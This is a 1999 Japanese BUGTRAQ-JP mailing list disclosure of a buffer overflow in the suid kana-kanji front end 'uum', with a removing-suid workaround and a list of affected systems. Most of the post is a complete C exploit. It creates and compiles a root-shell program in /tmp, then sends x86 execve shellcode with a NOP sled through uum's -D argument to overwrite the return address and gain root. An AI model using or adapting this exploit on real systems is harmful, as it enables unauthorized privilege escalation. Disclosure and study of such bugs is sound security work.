Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <37EAC2453C.DB38SHADOWPENGUIN@fox.nightland.net> Date: Fri, 24 Sep 1999 09:13:57 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: Kana-Kanji FEP "uum" overflow exploit X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM はじめまして。 UNYUN@ShadowPenguinSecurityです。 かな漢字変換フロントエンドプロセッサ uum にオーバーフローによるセキュリティ ホールがあるようです。 Linuxでexploitを書いて検証しました。root権限を得ることができます。 /usr/bin/uumのsuidビットを外すことによりこの問題を回避できます。 Linux他、以下の環境でオーバーフローを確認しています。 Solaris2.6、7 IRIX 5.3, 6.2, 6.3, 6.4, 6.5 /*============================================================================= /usr/bin/umm Exploit for Linux The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #define RET_ADR 84 #define EXP_ADR 204 #define MAXBUF 300 #define JMP_OFS 0x484 #define NOP 0x90 #define SHELL "/tmp/pp" #define COMPILER "gcc" char exec[60]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; char xx[MAXBUF+1]; unsigned int i,ip,sp; FILE *fp; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main() { strcat(exec,SHELL); sprintf(xx,"%s.c",SHELL); if ((fp=fopen(xx,"w"))==NULL){ printf("Can not write to %s\n",xx); exit(1); } fprintf(fp,"main(){setuid(0);setgid(0);system(\"/bin/sh\");}"); fclose(fp); sprintf(xx,"%s %s.c -o %s",COMPILER,SHELL,SHELL); system(xx); sp=get_sp(); memset(xx,NOP,MAXBUF); ip=sp-JMP_OFS; printf("Jumping address = %x\n",ip); xx[RET_ADR ]=ip&0xff; xx[RET_ADR+1]=(ip>>8)&0xff; xx[RET_ADR+2]=(ip>>16)&0xff; xx[RET_ADR+3]=(ip>>24)&0xff; strncpy(xx+EXP_ADR,exec,strlen(exec)); xx[MAXBUF]=0; execl("/usr/bin/uum","uum","-D",xx,(char *) 0); } ----- The Shadow Penguin Security (http://shadowpenguin.backsection.net) Webmaster / UNYUN (shadowpenguin@backsection.net)